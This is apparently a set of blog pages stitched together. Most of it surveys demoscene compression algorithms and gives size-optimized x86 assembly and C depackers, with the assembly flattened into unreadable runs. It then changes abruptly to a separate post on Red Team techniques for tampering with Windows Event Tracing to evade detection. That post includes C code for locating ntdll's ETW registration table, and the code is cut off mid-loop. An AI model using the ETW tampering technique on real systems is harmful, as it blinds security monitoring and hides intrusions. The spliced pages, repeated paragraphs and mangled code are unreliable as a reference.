The register is shifted left and the carry flag is put into bit zero of the register. The 7th bit is put into the carry flag. You can perform the same operation using ADC (Add with Carry).
rld
Performs a 4-bit leftward rotation of the 12-bit number whose 4 most signigifcant bits are the 4 least significant bits of A, and its 8 least significant bits are in (HL).
rr / rra / r
rcr
9-bit rotation to the right. The carry is copied into bit 7, and the bit leaving on the right is copied into the carry.
rra
Performs a RR A faster, and modifies the flags differently.
sbc
sbb
Sum of second operand and carry flag is subtracted from the first operand. Results are written into the first operand.
sla
sal
sll/sl1
shl
An βundocumentedβ instruction. Functions like sla, except a 1 is inserted into the low bit.
sra
sar
Arithmetic shift right 1 bit, bit 0 goes to carry flag, bit 7 remains unchanged.
srl
shr
Like SRA, except a 0 is put into bit 7. The bits are all shifted right, with bit 0 put into the carry flag.
The EBX and ECX registers are to replace the B and C registers, respectively, to save a few bytes required for incrementing and decrementing 8-bit registers on x86.
megalz_depack:_megalz_depack:pushadmovesi, [esp+32+12] ; esi = inbufmovedi, [esp+32+4] ; edi = outbufcallinit_get_bitaddal, al; add a, ajnzexit_get_bit; ret nzlodsb; ld a, (hl); inc hladcal, al; rlaexit_get_bit:ret; retinit_get_bit:popebp;moval, 128; ld a, 128mlz_literal:movsb; ldimlz_main:callebp; GET_BITjcmlz_literal; jr c, mlz_literalxoredx, edxmovdh, -1; ld d, #FFxorebx, ebx; ld bc, 2push2popecxcallebp; GET_BITjcCASE01x; jr c, CASE01xcallebp; GET_BITjcmlz_short_ofs; jr c, mlz_short_ofsCASE000:dececx; dec cmovdl, 63; ld e, %00111111ReadThreeBits:callebp; GET_BITadcdl, dl; rl ejncReadThreeBits; jr nc, ReadThreeBitsmlz_copy_bytes:pushesi; push hlmovsxedx, dx; sign-extend dx to 32-bitsleaesi, [edi+edx] ; repmovsb; ldirpopesi; pop hljmpmlz_main; jr mlz_mainCASE01x:callebp; GET_BITjncCASE010; jr nc, CASE010dececx; dec cReadLogLength:callebp; GET_BITincebx; inc bjncReadLogLength; jr nc, ReadLogLengthmlz_read_len:callebp; GET_BITadccl, cl; rl cjcmlz_exit; jr c, mlz_exitdecebx; djnz mlz_read_lenjnzmlz_read_lenincecx; inc cCASE010:incecx; inc ccallebp; GET_BITjncmlz_short_ofs; jr nc, mlz_short_ofsmovdh, 31; ld d, %00011111mlz_long_ofs:callebp; GET_BITadcdh, dh; rl djncmlz_long_ofs; jr nc, mlz_long_ofsdecedx; dec dmlz_short_ofs:movdl, [esi] ; ld e, (hl)incesi; inc hljmpmlz_copy_bytes; jr mlz_copy_bytesmlz_exit:subedi, [esp+32+4]
mov [esp+28], edi; eax = decompressed lengthpopadret
10.2 ZX7
Designed by Einar Saukas and published in 2012. ZX7 is an optimal LZ77 algorithm for the ZX-Spectrum using a combination of fixed length and variable length Gamma codes for the match length and offset. The following is a translation of the standard Z80 depacker to a 32-bit x86 assembly in 111 bytes.
Register Mapping
Z80
x86
A
AL
B
CH
C
CL
BC
CX
D
DH
E
DL
HL
ESI
DE
EDX or EDI
dzx7_standard:_dzx7_standard:pushad; tested on Windowsmovesi, [esp+32+12] ; hl = sourcemovedi, [esp+32+4] ; de = destinationmoval, 0x80; ld a, $80dzx7s_copy_byte_loop:; copy literal bytemovsb; ldi dzx7s_main_loop:calldzx7s_next_bit; call dzx7s_next_bit; next bit indicates either literal or sequencejncdzx7s_copy_byte_loop; jr nc, dzx7s_copy_byte_loop; determine number of bits used for length (Elias gamma coding)pushedi; push demovecx, 0; ld bc, 0movdh, ch; ld d, bdzx7s_len_size_loop:incdh; inc dcalldzx7s_next_bit; call dzx7s_next_bitjncdzx7s_len_size_loop; jr nc, dzx7s_len_size_loop; determine lengthdzx7s_len_value_loop:jcskip_callcalldzx7s_next_bit; call nc, dzx7s_next_bitskip_call:rclcl, 1; rl crclch, 1; rl b; check end markerjcdzx7s_exit; jr c, dzx7s_exit decdh; dec djnzdzx7s_len_value_loop; jr nz, dzx7s_len_value_loop; adjust lengthinccx; inc bc ; determine offset; load offset flag (1 bit) + offset value (7 bits)movdl, [esi] ; ld e, (hl) incesi; inc hl; opcode for undocumented instruction "SLL E" aka "SLS E"shldl, 1; defb $cb, $33 ; if offset flag is set, load 4 extra bitsjncdzx7s_offset_end; jr nc, dzx7s_offset_end ; bit marker to load 4 bitsmovdh, 0x10; ld d, $10 dzx7s_rld_next_bit:calldzx7s_next_bit; call dzx7s_next_bit; insert next bit into Drcldh, 1; rl d ; repeat 4 times, until bit marker is outjncdzx7s_rld_next_bit; jr nc, dzx7s_rld_next_bit ; add 128 to DEincdh; inc d ; retrieve fourth bit from D shrdh, 1; srl d dzx7s_offset_end:; insert fourth bit into Ercrdl, 1; rr e ; copy previous sequence; store source, restore destinationxchgesi, [esp] ; ex (sp), hl ; store destinationpushesi; push hl ; HL = destination - offset - 1sbbesi, edx; sbc hl, de ; DE = destinationpopedi; pop de repmovsb; ldirdzx7s_exit:popesi; pop hl jncdzx7s_main_loop; jr nc, dzx7s_main_loopsubedi, [esp+32+4]
mov [esp+28], edipopadretdzx7s_next_bit:; check next bitaddal, al; add a, a ; no more bits left?jnzexit_get_bit; ret nz ; load another group of 8 bitsmoval, [esi] ; ld a, (hl) incesi; inc hlrclal, 1; rlaexit_get_bit:ret; ret
The following is a 32-Bit version of a size-optimized 16-bit code implemented by Trixter and Qkumba in 2016. Itβs currently 81 bytes.
zx7_depack:_zx7_depack:pushadmovedi, [esp+32+4] ; outputmovesi, [esp+32+12] ; inputcallinit_get_bitaddal, al; check next bitjnzexit_get_bit; no more bits left?lodsb; load another group of 8 bitsadcal, alexit_get_bit:retinit_get_bit:popebpmoval, 80hxorecx, ecxcopy_byte:movsb; copy literal bytemain_loop:callebpjnccopy_byte; next bit indicates either; literal or sequence; determine number of bits used for length (Elias gamma coding)xorebx, ebxlen_size_loop:incebxcallebpjnclen_size_loopjmplen_value_skip; determine lengthlen_value_loop:callebplen_value_skip:adccx, cxjczx7_exit; check end markerdecebxjnzlen_value_loopincecx; adjust length; determine offsetmovbl, [esi] ; load offset flag (1 bit) +; offset value (7 bits)incesistcadcbl, bljncoffset_end; if offset flag is set, load; 4 extra bitsmovbh, 10h; bit marker to load 4 bitsrld_next_bit:callebpadcbh, bh; insert next bit into Djncrld_next_bit; repeat 4 times, until bit; marker is outincbh; add 256 to DEoffset_end:shrebx, 1; insert fourth bit into Epushesimovesi, edisbbesi, ebx; destination = destination - offset - 1repmovsbpopesi; restore source addressjmpmain_loopzx7_exit:subedi, [esp+32+4]
mov [esp+28], edipopadret
10.3 ZX7 Mini
Designed by Antonio Villena and published in 2019. This version uses less code at the expense of the compression ratio. Nevertheless, itβs a great example to demonstrate the conversion between Z80 and x86.
Register Mapping
Z80
x86
A
AL
BC
ECX
D
DH
E
DL
HL
ESI
DE
EDI
zx7_depack:_zx7_depack:pushadmovesi, [esp+32+4] ; esi = inmovedi, [esp+32+8] ; edi = outcallinit_getbitgetbit:addal, al; add a, ajnzexit_getbit; ret nzlodsb; ld a, (hl); inc hladcal, al; adc a, aexit_getbit:retinit_getbit:popebp;moval, 80h; ld a, $80copyby:movsb; ldimainlo:callebp; call getbitjnccopyby; jr nc, copybypush1; ld bc, 1popecxlenval:callebp; call getbitrclcl, 1; rl cjcexit_depack; ret ccallebp; call getbitjnclenval; jr nc, lenvalpushesi; push hlmovzxedx, byte[esi] ; ld l, (hl)movesi, edisbbesi, edx; sbc hl, derepmovsb; ldirpopesi; pop hlincesi; inc hljmpmainlo; jr mainloexit_depack:subedi, [esp+32+8] ;mov [esp+28], edipopadret
10.4 LZF
Designed by Ilya Muravyov and published here in 2013. The x86 assembly is a translation of a size-optimized version by introspec. The compressor is closed, so this is another example to demonstrate the conversion between Z80 and x86.
lzf_depack:_lzf_depack:pushadmovedi, [esp+32+4] ; edi = outbufmovesi, [esp+32+8] ; esi = inbufxorecx, ecx; ld b,0 jmpMainLoop; jr MainLoop ; all copying is done by LDIR; B needs to be zeroProcessMatches:pusheax; exalodsb; ld a,(hl); inc hl; rlca ; rlca rolal, 3; rlca incal; inc aandal, 00000111b; and %00000111 jnzCopyingMatch; jr nz,CopyingMatchLongMatch:lodsb; ld a,(hl) addal, 8; add 8; inc hl ; len == 9 means an extra len byte needs to be read; jr nc,CopyingMatch ; inc badcch, chCopyingMatch:movcl, al; ld c,a incecx; inc bc popeax; exa cmpal, 20h; token == #20 suggests a possibility of the end marker (#20,#00)jnzNotTheEnd; jr nz,NotTheEnd xoral, al; xor a cmp [esi], al; cp (hl) jzexit; ret z ; is it the end marker? return if it isNotTheEnd:andal, 1fh; and %00011111 ; A' = high(offset); also, reset flag C for SBC belowpushesi; push hl movzxedx, byte[esi] ; ld l,(hl) movdh, al; ld h,a ; HL = offsetmovsxedx, dx; ; push demovesi, edi; ex de,hl ; DE = offset, HL = destsbbesi, edx; sbc hl,de ; HL = dest-offset; pop derepmovsb; ldirpopesi; pop hl incesi; inc hlMainLoop:moval, [esi] ; ld a,(hl) cmpal, 20h; cp #20 jncProcessMatches; jr nc,ProcessMatches ; tokens "000lllll" mean "copy lllll+1 literals"incal; inc a movcl, al; ld c,a incesi; inc hl repmovsb; ldir ; actual copying of the literalsjmpMainLoop; jr MainLoopexit:subedi, [esp+32+4]
mov [esp+28], edipopadret
11. Motorola 68000 (68K)
βMotorola, with its superior technology, lost the single most important design contest of the last 50 yearsβWalden C. Rhines
A revolutionary CPU released in 1979 that includes eight 32-Bit general-purpose data registers (D0-D7), and eight address registers (A0-A7) used for function arguments and stack pointer. The 68K was used in the Commodore Amiga, the Atari ST, the Macintosh, including various fourth-generation gaming consoles like the Sega Megadrive, and arcade systems like Namco System 2. The 68K was more compelling than the Z80, 6502, 8088, and 8086, so why did it lose to Intel in the home computer war of the 1980s? A history of the Amiga, part 10: The downfall of Commodore offers some plausible answers. IBM choosing Control Program/Monitor by Gary Kildall for its 1980 PC operating system is also likely a factor.
The following table lists some 68K instructions and the x86 instructions used to replace them.
68K
x86
Description
move
mov
Copy data from source to destination
add
add
Add binary.
addx
adc
Add with borrow/carry.
sub
sub
Subtract binary.
subx
sbb
Subtract with borrow/carry.
rts
ret
Return from subroutine.
dbf/dbt
loopne/loope
Test condition, decrement, and branch.
bsr
call
Branch to subroutine
bcs:bcc
jc:jnc
Branch/Jump if carry set. Jump if carry clear.
beq:bne
je:jne
Branch/Jump if equal. Not equal.
ble
jle
Branch/Jump if less than or equal.
bra
jmp
Branch always.
lsr
shr
Logical shift right.
lsl
shl
Logical shift left.
bhs
jae
Branch on higher than or same.
bpl
jns
Branch on higher than or same.
bmi
js
Branch on minus. Jump if signed.
tst
test
Test bit zero of a register.
exg
xchg
Exchange registers.
11.1 PackFire
Designed by neural and published in 2010, PackFire comprises two algorithms tailored for demos targeting the Atari ST. The first borrows ideas from Exomizer and is suitable for small files not exceeding ~40KB. The other borrows ideas from LZMA, which is more suited to compressing larger files. The LZMA-variant requires 16KB of RAM for the range decoder, which isnβt a problem for the Atari ST with between 512-1024KB of RAM available. However, translating code written for the 68K to x86 isnβt easy because the x86 is a less advanced architecture. Since being released, badc0de has published decoders for a variety of other architectures, including 32-Bit ARM. The following is the Exomizer-style decoder for files not exceeding ~40KB, which probably isnβt very useful unless you write demos for retro hardware.
Designed by Aske Simon Christensen (Blueberry/Loonies) and published in 1999. It stores compressed data in Big-Endian 32-bit words, and the x86 translation must use BSWAP before reading bits of the stream. The compressor is open source and could be updated to use Little-Endian format instead. Christensen is also a co-author of the Crinkler executable compressor along with Rune Stubbe (Mentor/TBC) thatβs popular for 4K intros on Windows.
The following is a description from Blueberry:
Shrinkler is optimized for target sizes around 4k (while still being good for 64k), which strongly favors decompression code size. It tries to achieve the best size for this target, somewhat at the expense of decompression speed. At the same time, it is intended to be useful on Amiga 500, which means that decompression speed should still be reasonable, and decompression memory usage should be small. Shrinkler decrunches a 64k intro in typically less than half a minute on Amiga 500, which is an acceptable wait time for starting an intro. And the memory needed for the probabilities fits within the default stack size of 4k on Amiga.
Shrinkler also has special tweaks gearing it towards 16-bit oriented data (as all 68000 instructions are a multiple of 16 bits). Specifically, it keeps separate literal context groups for even and odd bytes, since these distributions are usually very different for Amiga data. Same thing for the flag indicating whether the a literal or a match is coming up. This gives a great boost for Amiga intros, but it has no benefit for data that has arbitrary alignment. It usually doesnβt hurt either, except for the slight cost in decompression code size.
The following is a translation of the 68K assembly to x86, with help from Blueberry.
The following is my own attempt to implement a size-optimized version of the same depacker in x86 assembly. However, thereβs likely room for improvement here, and this code will be updated later.
%define INIT_ONE_PROB 0x8000 %define ADJUST_SHIFT 4 %define SINGLE_BIT_CONTEXTS 1 %define NUM_CONTEXTS 1536struc pushad_t.ediresd1.esiresd1.ebpresd1.espresd1.ebxresd1.edxresd1.ecxresd1.eaxresd1endstrucstrucshrinkler_ctx.espresd1; original value of esp before allocation.rangeresd1; range value.ofsresd1.intervalresd1; interval sizeendstrucbits32 %ifndef BINglobal shrinkler_depackxglobal _shrinkler_depackx %endifshrinkler_depackx:_shrinkler_depackx:pushadmovebx, [esp+32+4] ; edi = outbufmovesi, [esp+32+8] ; esi = inbufmoveax, espxorecx, ecx; ecx = 4096movch, 10hsubesp, ecx; subtract 1 pagetest [esp], esp; stack probemovedi, espstosd; save original value of espcdqxchgeax, edxstosd; range value = 0stosd; offset = 0inceaxstosd; interval length = 1callinit_get_bitGetBit:pushadmovebp, [ebx+shrinkler_ctx.range ]
movecx, [ebx+shrinkler_ctx.interval]
jmpcheck_intervalreadbit:addal, aljnenonewwordlodsbadcal, alnonewword:mov [esp+pushad_t.eax], eaxmov [esp+pushad_t.esi], esiadcebp, ebpaddecx, ecxcheck_interval:testcx, cxjnsreadbitleaedi, [shrinkler_ctx_size+ebx+2*edx+SINGLE_BIT_CONTEXTS*2]
movax, word[edi]
shreax, ADJUST_SHIFTsub [edi], axaddax, [edi]
cdqmulcxsubebp, edxjc.one.zero:; oneprob = oneprob * (1 - adjust) = oneprob - oneprob * adjustsubecx, edx; 0 in C and Xjmpexit_getbit.one:; onebrob = 1 - (1 - oneprob) * (1 - adjust) = oneprob - oneprob * adjust + adjustaddword[edi], (0xFFFF>>ADJUST_SHIFT)
xchgedx, ecxaddebp, ecx; 1 in C and Xexit_getbit:mov [ebx+shrinkler_ctx.range ], ebpmov [ebx+shrinkler_ctx.interval], ecxpopadretGetKind:; Use parity as contextmovedx, ediandedx, 1shledx, 8jmpebpGetNumber:cdqadcdh, 3.numberloop:incedxincedxcallebpjc.numberlooppush1popecxdecedx.bitsloop:callebpadcecx, ecxsubdl, 2jnc.bitsloopretinit_get_bit:popebp; ebp = GetBit; Init probabilitiesmovch, NUM_CONTEXTS>>8xoreax, eaxmovah, 1<<7repstoswxchgal, ahmovedi, ebxmovebx, esp; edx = 0cdq.lit:; Literalincedx.getlit:callebpadcdl, dljnc.getlitmov [edi], dlincedi.switch:; After literalcallGetKindjnc.lit; Referencecdqdecedxcallebpjnc.readoffset.readlength:clccallGetNumberpushesimovesi, ediaddesi, dword[ebx+shrinkler_ctx.ofs]
repmovsbpopesi; After referencecallGetKindjnc.lit.readoffset:stccallGetNumbernegecxincecxincecxmov [ebx+shrinkler_ctx.ofs], ecxjne.readlength; return depacked lengthmovesp, [ebx+shrinkler_ctx.esp]
subedi, [esp+32+4]
mov [esp+pushad_t.eax], edipopadret
12. C/x86 assembly
The following algorithms were translated from C to x86 assembly or were already implemented in x86 assembly and optimized for size.
Designed by JΓΈrgen Ibsen and published in 2015. BriefLZ combines fast encoding and decoding with a good compression ratio. Ibsen uses 16-Bit tags instead of 8-Bit to improve performance on 16-bit architectures. It encodes the match reference length and offset using Elias gamma coding. The following size-optimized decoder in x86 assembly is only 92 bytes.
Designed by Markus F.X.J. Oberhumer and used in the famous Ultimate Packer for eXecutables (UPX). NRV uses an LZ77 format with Elias gamma coding for the reference match offset and length. The following x86 assembly derived from n2b_d_s1.asm in the UCL library is currently 115 bytes.
Designed by Igor Pavlov and published in 1998 with the 7zip archiver. Itβs an LZ77 variant with features similar to LZX used for Microsoft CAB files and compressed help (CHM) files. LZMA uses an arithmetic coder to store compressed data as a stream of bits resulting in high compression ratios that inspired the development of Packfire, KKrunchy, and LZOMA, to name a few. Thereβs a description by Charles Bloom in De-obfuscating LZMA and by Matt Mahoney in Data Compression Explained. Alex Ionescu has also published a minimal implementation with very detailed and helpful comments included in the source. Another size-optimized version is available from the UPX LZMA SDK. The arithmetic coder for LZMA usually requires 16KB of RAM and may not be suitable for devices with limited resources. mudlordβs Win32 executable packer called mupack has an x86 implementation.
Although the compression ratio is excellent, and the speed is acceptable for small files. The complexity of the decompressor for only a few additional percents more in the compression ratio didnβt merit an implementation in x86 assembly. Iβd be willing to implement it on a better architecture like ARM64, but not x86. Shrinkler, KKrunchy, and LZOMA all offer ~55% ratios with much smaller RAM and ROM requirements that seem more suitable for executable compression.
Designed by Alexandr Efimov and published in 2015. LZOMA is specifically for decompression of the Linux Kernel but is also suitable for decompression of PE or ELF files too. Itβs primarily based on ideas used by LZMA and LZO. It provides fast decompression like LZO, and a simplified LZMA format provides a high compression ratio. The trade-off is slow compression requiring a lot of memory. Itβs possible to improve the compression ratio by using a real entropy encoder, but at the expense of decompression speed. While itβs still only an experimental algorithm and probably needs more testing, the following is a decoder in C and handwritten x86 assembly.
typedefstruct _lzoma_ctx {
uint32_t w;
uint8_t*src;
} lzoma_ctx;
staticuint8_tget_bit(lzoma_ctx *c) {
uint32_t cy, x;
x = c->w;
c->w <<=1;
// no bits left?if(c->w ==0) {
// read 32-bit word
x =*(uint32_t*)c->src;
// advance input
c->src +=4;
// double with carry
c->w = (x <<1) |1;
}
// return carry bitreturn (x >>31);
}
voidlzoma_depack(
void*outbuf,
uint32_t inlen,
constvoid*inbuf)
{
uint8_t*out, *ptr, *end;
uint32_t cf, top, total, len, ofs, x, res;
lzoma_ctx c;
c.w =1<<31;
c.src = (uint8_t*)inbuf;
out = (uint8_t*)outbuf;
end = out + inlen;
// copy first byte*out++=*c.src++;
len =0;
ofs =-1;
while(out < end) {
for(;;) {
// if bit carried, breakif(cf = get_bit(&c)) break;
// copy byte*out++=*c.src++;
len =2;
}
// unpack lzif(len) {
cf = get_bit(&c);
}
// carry?if(cf) {
len =3;
total = out - (uint8_t*)outbuf;
top = ((total <=400000) ?60:50);
ofs =0;
x =256;
res =*c.src++;
for(;;) {
x += x;
if(x >= (total + top)) {
x -= total;
if(res >= x) {
cf = get_bit(&c);
res = (res <<1) + cf;
res -= x;
}
break;
}
// magic?if(x & (0x002FFE00<<1)) {
top = (((top <<3) + top) >>3);
}
if(res < top) break;
ofs -= top;
total += top;
top <<=1;
cf = get_bit(&c);
res = (res <<1) + cf;
}
ofs += res +1;
// long length?if(ofs >=5400) len++;
// huge length?if(ofs >=0x060000) len++;
// negate
ofs =- ofs;
}
if(get_bit(&c)) {
len +=2;
res =0;
for(;;) {
cf = get_bit(&c);
res = (res <<1) + cf;
if(!get_bit(&c)) break;
res++;
}
len += res;
} else {
cf = get_bit(&c);
len += cf;
}
ptr = out + ofs;
while(--len) *out++=*ptr++;
}
}
The assembly code doesnβt transfer that well on to x86. It does, however, avoid having to use lots of RAM, which is a plus.
lzoma_depack:_lzoma_depack:pushad; save all registersleaesi, [esp+32+4]
lodsdxchgedi, eax; edi = outbuflodsdxchgebp, eax; ebp = inlenaddebp, edi; ebp += outlodsdxchgesi, eax; esi = inbufpushad; save esi, edi and ebpcallinit_getbitget_bit:addeax, eax; c->w <<= 1jnzexit_getbit; if(c->w == 0)lodsd; x = *(uint32_t*)c->src;adceax, eax; c->w = (x << 1) | 1;exit_getbit:ret; return x >> 31;init_getbit:popebp; ebp = &get_bitmoveax, 1<<31; c->w = 1 << 31cdq; ofs = -1movsb; *out++ = *src++;xorecx, ecx; len = 0jmpmain_loopcopy_byte:movsb; *out++ = *c.src++;movcl, 2; len = 2main_loop:xorebx, ebx; res = 0; while(out < end)cmpedi, [esp+pushad_t._ebp]
jnblzoma_exit; for(;;) {callebp; cf = get_bit(&c);jnccopy_byte; if(cf) break;; unpack lzjecxzskip_lz; if(len) {callebp; cf = get_bit(&c);skip_lz:; }; carry?jncuse_last_offset; if(cf) {movcl, 3+2; len = 3pushad; ; total = out - (uint8_t*)outbufsubedi, [esp+32+pushad_t._edi]
; top = ((total <= 400000) ? 60 : 50;movcl, 50cmpedi, 400000jaskip_updaddcl, 10skip_upd:xorebp, ebp; ofs = 0xoredx, edx; x = 256incdhmovbl, byte[esi] ; res = *c.src++incesifind_loop:; for(;;) {addedx, edx; x += x;; if(x >= (total + top)) {pushedi; save totaladdedi, ecx; edi = total + topcmpedx, edi; cf = (x - (total + top)) popedi; restore totaljbupd_len3; jump if x is < (total + top)subedx, edi; x -= total;cmpebx, edx; if(res >= x) {jbupd_len2; jump if res < x; cf = get_bit(&c);calldword[esp+pushad_t._ebp]
adcebx, ebx; res = (res << 1) + cf;subebx, edx; res -= x;jmpupd_len2upd_len3:; magic?; if(x & (0x002FFE00 << 1)) {testedx, (0x002FFE00<<1)
jzupd_len4; top = (((top << 3) + top) >> 3);leaecx, [ecx+ecx*8]
shrecx, 3upd_len4:cmpebx, ecx; if(res < top) break;jbupd_len2subebp, ecx; ofs -= topaddedi, ecx; total += topaddecx, ecx; top <<= 1; cf = get_bit(&c);calldword[esp+pushad_t._ebp]
; res = (res << 1) + cf;adcebx, ebxjmpfind_loopupd_len2:; ofs = (ofs + res + 1);leaebp, [ebp+ebx+1]
; if(ofs >= 5400) len++;cmpebp, 5400sbbdword[esp+pushad_t._ecx], 0; if(ofs >= 0x060000) len++;cmpebp, 0x060000sbbdword[esp+pushad_t._ecx], 0negebp; ofs = -ofs;mov [esp+pushad_t._edx], ebp; save ofs in edxmov [esp+pushad_t._esi], esimov [esp+pushad_t._eax], eaxpopad; restore registersuse_last_offset:callebp; if(get_bit(&c)) {jnccheck_twoaddecx, 2; len += 2upd_len:; for(res=0;;res++) {callebp; cf = get_bit(&c);adcebx, ebx; res = (res << 1) + cf;callebp; if(!get_bit(&c)) break;jncupd_lenxincebx; res++;jmpupd_lenupd_lenx:addecx, ebx; len += resjmpcopy_bytescheck_two:; } else {callebp; cf = get_bit();adcecx, ebx; len += cfcopy_bytes:; }pushesi; save c.src pointerleaesi, [edi+edx] ; ptr = out + ofsdececx; while(--len) *out++ = *ptr++;repmovsbpopesi; restore c.srcjmpmain_looplzoma_exit:popad; free()popad; restore registersret
12.7 KKrunchy
Designed by Fabian Giesen for the demo group, Farbrausch, KKrunchy comprises two algorithms. The first, developed between 2003 and 2005, is an LZ77 variant with an arithmetic coder published in 2006. The second algorithm developed between 2006 and 2008, borrows ideas from PAQ7 and was published in 2011. Both are slow at compression but acceptable for demo productions and are compact for decompression. Fabian describes both in more detail here, including the βsecret ingredientβ that can improve ratios of 64K intros by up to 10%. In 2011, Farbrausch members published source code for their demo productions made between 2001-2011, including both compressors. A 32-Bit x86 decoder is already available from Fabian. There appears to be a buffer overflow in the compressor that goes unnoticed without address sanitizer. Hereβs an alternate version of the simple depacker used as a reference.
#ifdef linux// gcc#define REV(x) __builtin_bswap32(x)#else// msvc#define REV(x) _byteswap_ulong(x)#endiftypedefstruct _fr_state {
constuint8_t*src;
// range decoder valuesuint32_t val, len, pbs[803];
} fr_state;
// decode a bit using range decoderstaticintDB(
fr_state *s, int idx, uint32_t flag)
{
uint32_t a, b, c, d, e;
a = s->pbs[idx];
b = (s->len >>11) * a;
c = (s->val >= b);
d =-c; e = c-1;
s->len = (d & s->len) | (e & b);
a = (d & a) | (e &-a +2048);
a >>= (5- flag);
s->pbs[idx] += (a ^ d) + c;
d &= b;
s->val -= d; s->len -= d;
a = (s->len >>24);
a = a ==0?-1:0;
b = (a &0xFF) &*s->src;
d =-a;
s->src += d;
s->val = (s->val << (d <<3)) | b;
s->len = (s->len << (d <<3));
return c;
}
// decode treestaticintDT(
fr_state *s, int p, int bits)
{
int c;
for(c=1; c<bits;) {
c = (c+c) + DB(s, p + c, bits==256);
}
return c - bits;
}
// decode gammastaticintDG(fr_state *s, int flag) {
int v, x =1;
uint8_t c =1;
v = (-flag & (547-291)) +291;
do {
c = (c+c) + DB(s, v+c, 0);
x = (x+x) + DB(s, v+c, 0);
c = (c+c) + (x &1);
} while(c &2);
return x;
}
uint32_tfr_depack(
void*outbuf,
constvoid*inbuf)
{
int tmp, i, ofs, len, LWM;
uint8_t*ptr, *out = (uint8_t*)outbuf;
fr_state s;
s.src = (constuint8_t*)inbuf;
s.len =~0;
s.val = REV(*(uint32_t*)s.src);
s.src +=4;
for(i=0; i<803; i++) s.pbs[i] =1024;
for(;;) {
LWM =0;
// decode literal*out++= DT(&s, 35, 256);
fr_read_bit:
if(!DB(&s, LWM, 0)) continue;
// decode match
len =0;
// use previous offset?if(LWM ||!DB(&s, 2, 0)) {
ofs = DG(&s, 0);
if(!ofs) break;
len =2;
ofs = ((ofs -2) <<4);
tmp = ((ofs !=0?-1:0) &16) +3;
ofs += DT(&s, tmp, 16) +1;
len -= (ofs <2048);
len -= (ofs <96);
}
LWM =1;
len += DG(&s, 1);
ptr = out - ofs;
while(len--) *out++=*ptr++;
goto fr_read_bit;
}
return out - (uint8_t*)outbuf;
}
13. Results
The following table, while ordered by ratio, is NOT a rank order and shouldnβt be interpreted that way. It wouldnβt be fair to judge the algorithms based on my criteria, that is: lightweight decompressor, high compression ratio, open source. The ratios are based on compressing a 1MB PE file for Windows without any additional trickery.
Algorithm
RAM (Bytes)
ROM (Bytes)
Ratio
LZ77
0
54
32%
ZX7 Mini
0
67
36%
LZSS
0
69
40%
LZ4
0
80
43%
ULZ
0
124
44%
LZE
0
97
45%
ZX7
0
81
46%
MegaLZ
0
117
46%
BriefLZ
0
92
46%
LZSA1
0
96
46%
LZSA2
0
187
50%
NRV2b
0
115
51%
LZOMA
0
238
54%
Shrinkler
4096
235
55%
KKrunchy
3212
639 (compiler generated)
55%
LZMA
16384
1265 (compiler generated)
58%
14. Summary
One could surely write a book about compression algorithms used by the Demoscene. And itβs safe to say Iβve only scraped the surface on this subject. For example, there is no analysis of compression and decompression speed of implementations for the x86 or other architectures. My primary concern at the moment is in the compression ratio and code size.
15. Acknowledgements
A number of people helped directly or indirectly with this post.
Tim Bell for LZB and information about the Stac Electronics lawsuit.
Blueberry for optimization tips and fixing my initial 68K translation of Shrinkler.
Qkumba for fixing x86 translation, translation of Exomizer and 6502 depackers.
This is not a βbest ofβ list or what my favorites are. Itβs mainly from some youtube recommendations and please donβt take offense If I didnβt include your demo. Contact me if you feel Iβve missed any.
The following table, while ordered by ratio, is NOT a rank order and shouldnβt be interpreted that way. It wouldnβt be fair to judge the algorithms based on my criteria, which is a lightweight decompressor, high compression ratio, open-source. The compression ratios are from compressing a 1MB PE file for Windows.
This post briefly describes some techniques used by Red Teams to disrupt detection of malicious activity by the Event Tracing facility for Windows. Itβs relatively easy to find information about registered ETW providers in memory and use it to disable tracing or perform code redirection. Since 2012, wincheck provides an option to list ETW registrations, so whatβs discussed here isnβt all that new. Rather than explain how ETW works and the purpose of it, please refer to a list of links here. For this post, I took inspiration from Hiding your .NET β ETW by Adam Chester that includes a PoC for EtwEventWrite. Thereβs also a PoC called TamperETW, by Cornelis de Plaa. A PoC to accompany this post can be found here.
2. Registering Providers
At a high-level, providers register using the advapi32!EventRegister API, which is usually forwarded to ntdll!EtwEventRegister. This API validates arguments and forwards them to ntdll!EtwNotificationRegister. The caller provides a unique GUID that normally represents a well-known provider on the system, an optional callback function and an optional callback context.
Registration handles are the memory address of an entry combined with table index shifted left by 48-bits. This may be used later with EventUnregister to disable tracing. The main functions of interest to us are those responsible for creating registration entries and storing them in memory. ntdll!EtwpAllocateRegistration tells us the size of the structure is 256 bytes. Functions that read and write entries tell us what most of the fields are used for.
typedefstruct _ETW_USER_REG_ENTRY {
RTL_BALANCED_NODE RegList;// List of registration entries
ULONG64 Padding1;GUID ProviderId;// GUID to identify Provider
PETWENABLECALLBACK Callback;// Callback function executed in response to NtControlTracePVOID CallbackContext;// Optional context
SRWLOCK RegLock;//
SRWLOCK NodeLock;// HANDLE Thread;// Handle of thread for callbackHANDLE ReplyHandle;// Used to communicate with the kernel via NtTraceEventUSHORT RegIndex;// Index in EtwpRegistrationTableUSHORT RegType;// 14th bit indicates a private
ULONG64 Unknown[19];} ETW_USER_REG_ENTRY,*PETW_USER_REG_ENTRY;
ntdll!EtwpInsertRegistration tells us where all the entries are stored. For Windows 10, they can be found in a global variable called ntdll!EtwpRegistrationTable.
3. Locating the Registration Table
A number of functions reference it, but none are public.
EtwpRemoveRegistrationFromTable
EtwpGetNextRegistration
EtwpFindRegistration
EtwpInsertRegistration
Since we know the type of structures to look for in memory, a good old brute force search of the .data section in ntdll.dll is enough to find it.
LPVOID etw_get_table_va(VOID){LPVOID m, va =NULL;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;DWORD i, cnt;PULONG_PTR ds;
PRTL_RB_TREE rbt;
PETW_USER_REG_ENTRY re;
m =GetModuleHandle(L"ntdll.dll");
dos =(PIMAGE_DOS_HEADER)m;
nt = RVA2VA(PIMAGE_NT_HEADERS, m, dos->e_lfanew);
sh =(PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);// locate the .data segment, save VA and number of pointersfor(i=0; i<nt->FileHeader.NumberOfSections; i++){if(*(PDWORD)sh[i].Name ==*(PDWORD)".data"){
ds = RVA2VA(PULONG_PTR, m, sh[i].VirtualAddress);
cnt = sh[i].Misc.VirtualSize /sizeof(ULONG_PTR);break;}}// For each pointer minus onefor(i=0; i<cnt -1; i++){
